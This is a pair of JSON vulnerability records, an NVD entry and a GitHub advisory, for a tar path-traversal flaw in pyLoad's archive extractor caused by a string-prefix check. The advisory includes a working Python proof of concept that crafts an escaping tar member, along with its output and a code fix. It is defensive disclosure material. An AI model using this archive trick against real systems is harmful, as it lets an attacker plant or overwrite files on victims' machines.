{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the CVE-2026-32808 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix. This vulnerability is fixed in 0.5.0b3.dev97."
    }
  ],
  "id": "CVE-2026-35592",
  "lastModified": "2026-04-08T21:27:00.663",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-07T17:16:34.280",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-mvwx-582f-56r7"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev97"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35592"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:04:37Z",
    "nvd_published_at": "2026-04-07T17:16:34Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `_safe_extractall()` function in `src/pyload/plugins/extractors/UnTar.py` uses `os.path.commonprefix()` for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function `os.path.commonpath()` was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to `_safe_extractall()`, making this an incomplete fix.\n\n## Details\n\nThe GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct `is_within_directory()` function to `src/pyload/core/utils/fs.py:384-391` using `os.path.commonpath()`:\n\n```python\n# fs.py:384 \u2014 CORRECT implementation\ndef is_within_directory(base_dir, target_dir):\n    real_base = os.path.realpath(base_dir)\n    real_target = os.path.realpath(target_dir)\n    return os.path.commonpath([real_base, real_target]) == real_base\n```\n\nHowever, the `_safe_extractall()` function in `UnTar.py:10-22` was left unchanged with the broken `os.path.commonprefix()`:\n\n```python\n# UnTar.py:10-22 \u2014 VULNERABLE implementation\ndef _safe_extractall(tar, path=\".\", members=None, *, numeric_owner=False):\n    def _is_within_directory(directory, target):\n        abs_directory = os.path.abspath(directory)\n        abs_target = os.path.abspath(target)\n        prefix = os.path.commonprefix([abs_directory, abs_target])  # BUG: line 14\n        return prefix == abs_directory\n\n    for member in tar.getmembers():\n        member_path = os.path.join(path, member.name)\n        if not _is_within_directory(path, member_path):\n            raise ArchiveError(\"Attempted Path Traversal in Tar File (CVE-2007-4559)\")\n\n    tar.extractall(path, members, numeric_owner=numeric_owner)\n```\n\n`os.path.commonprefix()` is a **string operation**, not a path operation. For extraction destination `/downloads/pkg` and a malicious member `../pkg_evil/payload` (resolving to `/downloads/pkg_evil/payload`):\n\n- `commonprefix([\u0027/downloads/pkg\u0027, \u0027/downloads/pkg_evil/payload\u0027])` \u2192 `\u0027/downloads/pkg\u0027` \u2014 **equals the directory, check passes**\n- `commonpath([\u0027/downloads/pkg\u0027, \u0027/downloads/pkg_evil/payload\u0027])` \u2192 `\u0027/downloads\u0027` \u2014 **does NOT equal the directory, check correctly fails**\n\nThe extraction path is reached via: `ExtractArchive.package_finished()` (line 182) \u2192 `extract_queued()` \u2192 `UnTar.extract()` (line 76) \u2192 `_safe_extractall(t, self.dest)` (line 81).\n\n## PoC\n\nSelf-contained proof of concept demonstrating the bypass:\n\n```python\nimport tarfile, io, os, shutil\n\ndest = \u0027/tmp/test_extraction_dir\u0027\nshutil.rmtree(dest, ignore_errors=True)\nshutil.rmtree(\u0027/tmp/test_extraction_dir_pwned\u0027, ignore_errors=True)\nos.makedirs(dest, exist_ok=True)\n\n# Step 1: Create malicious tar with member that escapes via prefix trick\nwith tarfile.open(\u0027/tmp/evil.tar.gz\u0027, \u0027w:gz\u0027) as tar:\n    info = tarfile.TarInfo(name=\u0027../test_extraction_dir_pwned/evil.txt\u0027)\n    data = b\u0027escaped the sandbox!\u0027\n    info.size = len(data)\n    tar.addfile(info, io.BytesIO(data))\n\n# Step 2: Reproduce the vulnerable check from UnTar.py:11-15\ndef _is_within_directory(directory, target):\n    abs_directory = os.path.abspath(directory)\n    abs_target = os.path.abspath(target)\n    prefix = os.path.commonprefix([abs_directory, abs_target])\n    return prefix == abs_directory\n\n# Step 3: Verify the check is bypassed\nwith tarfile.open(\u0027/tmp/evil.tar.gz\u0027) as tar:\n    for member in tar.getmembers():\n        member_path = os.path.join(dest, member.name)\n        bypassed = _is_within_directory(dest, member_path)\n        print(f\u0027Member: {member.name}\u0027)\n        print(f\u0027Resolved: {os.path.abspath(member_path)}\u0027)\n        print(f\u0027Check passes (should be False): {bypassed}\u0027)\n    tar.extractall(dest)\n\n# Step 4: Confirm file was written outside extraction directory\nescaped_file = \u0027/tmp/test_extraction_dir_pwned/evil.txt\u0027\nassert os.path.exists(escaped_file), \"File did not escape\"\nprint(f\u0027File escaped to: {escaped_file}\u0027)\nprint(f\u0027Content: {open(escaped_file).read()}\u0027)\n```\n\nOutput:\n```\nMember: ../test_extraction_dir_pwned/evil.txt\nResolved: /tmp/test_extraction_dir_pwned/evil.txt\nCheck passes (should be False): True\nFile escaped to: /tmp/test_extraction_dir_pwned/evil.txt\nContent: escaped the sandbox!\n```\n\n## Impact\n\nAn attacker who hosts a malicious `.tar.gz` archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:\n\n- Writing files outside the intended extraction directory into adjacent directories\n- Overwriting other users\u0027 downloads\n- Planting malicious files in predictable locations on disk\n- If combined with other primitives (e.g., writing a `.bashrc`, cron job, or plugin file), this could lead to code execution\n\nThe attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.\n\n## Recommended Fix\n\nReplace the broken inline `_is_within_directory` with the correct `is_within_directory` from `pyload.core.utils.fs`:\n\n```python\nimport os\nimport sys\nimport tarfile\n\nfrom pyload.core.utils.fs import is_within_directory, safejoin\nfrom pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError\n\n\n# Fix for tarfile CVE-2007-4559\ndef _safe_extractall(tar, path=\".\", members=None, *, numeric_owner=False):\n    for member in tar.getmembers():\n        member_path = os.path.join(path, member.name)\n        if not is_within_directory(path, member_path):\n            raise ArchiveError(\"Attempted Path Traversal in Tar File (CVE-2007-4559)\")\n\n    tar.extractall(path, members, numeric_owner=numeric_owner)\n```\n\nThis removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.",
  "id": "GHSA-mvwx-582f-56r7",
  "modified": "2026-04-08T00:04:37Z",
  "published": "2026-04-08T00:04:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-mvwx-582f-56r7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35592"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyload-ng: Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass"
}